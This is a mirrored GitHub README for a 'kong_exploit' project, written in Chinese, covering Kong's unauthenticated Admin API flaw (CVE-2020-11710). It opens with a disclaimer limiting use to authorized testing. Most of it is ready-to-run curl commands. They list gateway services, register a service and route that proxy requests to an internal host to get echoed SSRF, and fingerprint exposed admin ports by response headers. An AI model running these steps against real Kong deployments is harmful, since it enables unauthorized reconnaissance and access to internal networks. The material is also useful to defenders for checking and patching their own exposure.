Giter Club home page Giter Club logo

kong_exploit's Introduction

声明

此处提供的漏洞检测方法、文件等内容,均仅限于安全从业者在获得法律授权的情况下使用,目的是检测已授权的服务器的安全性。安全从业者务必遵守法律规定,禁止在没有得到授权的情况下做任何漏洞检测。

简介

漏洞分析 - Kong未授权访问漏洞(CVE-2020-11710)

检测方法1

# 查看
# 注意 我的<admin-hostname>是127.0.0.1 需替换<admin-hostname>

# 检测漏洞 - 信息泄露
# 利用 Admin Restful API - 查看当前Kong Gateway已有的"服务"(web API)
curl -i -X GET http://127.0.0.1:8001/services

# 检测漏洞 - SSRF
# 利用 Admin Restful API - 在Kong Gateway上注册一个新的"服务"(web API) 指向内网的敏感站点 http://10.11.11.2:8888/login
# 注意 name 必须唯一

curl -i -X POST http://127.0.0.1:8001/services \
 --data name=target \
 --data url='http://10.11.11.2:8888/login'


# (该步骤可省略) 验证这个(名为target的)服务的endpoint是否注册成功
# curl -i http://127.0.0.1:8001/services/target


# 添加一个Route
# paths[]的值为 /site1
# name的值为 111111  name的值不重要

curl -i -X POST http://127.0.0.1:8001/services/target/routes \
  --data 'paths[]=/site1' \
  --data 'name=111111'


# 使用 正常开放的(HTTP Proxy Port)8000访问/site1
# 可验证这个Route是否正在转发请求到对应"服务" 即http://10.11.11.2:8888/login
# 🔥SSRF 可回显
curl -i -X GET http://127.0.0.1:8000/site1


# 使用 正常开放的(HTTPS Proxy Port) 8443 访问/site1  当然也可以
# 使用curl的 --insecure 选项 来忽略SSL证书验证 disables certificate validation
# 🔥SSRF 可回显
curl -i -X GET https://127.0.0.1:8443/site1 --insecure


# (检测过程无需该步骤) 可查看本次请求的Header等信息
# curl -i -X GET http://127.0.0.1:8000/site1/request

检测方法2

发起请求,访问默认的Admin Restful API端口 8001 和 8444

curl -i -X GET http://127.0.0.1:8001/
curl -i -X GET https://127.0.0.1:8444/ --insecure

# 也可以访问Kong自带的其他路径 /status等

得到Response

Response Header中有2个特征:

Server: kong
X-Kong-Admin-Latency:

Response Body中也有特征:

response body为json格式,且其中有5个X-Kong开头的字段

"X-Kong-Response-Latency"
"X-Kong-Admin-Latency"
"X-Kong-Upstream-Status"
"X-Kong-Proxy-Latency"
"X-Kong-Upstream-Latency"

如果特征存在,则说明Admin Restful API 可被访问,漏洞存在。

kong_exploit's People

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.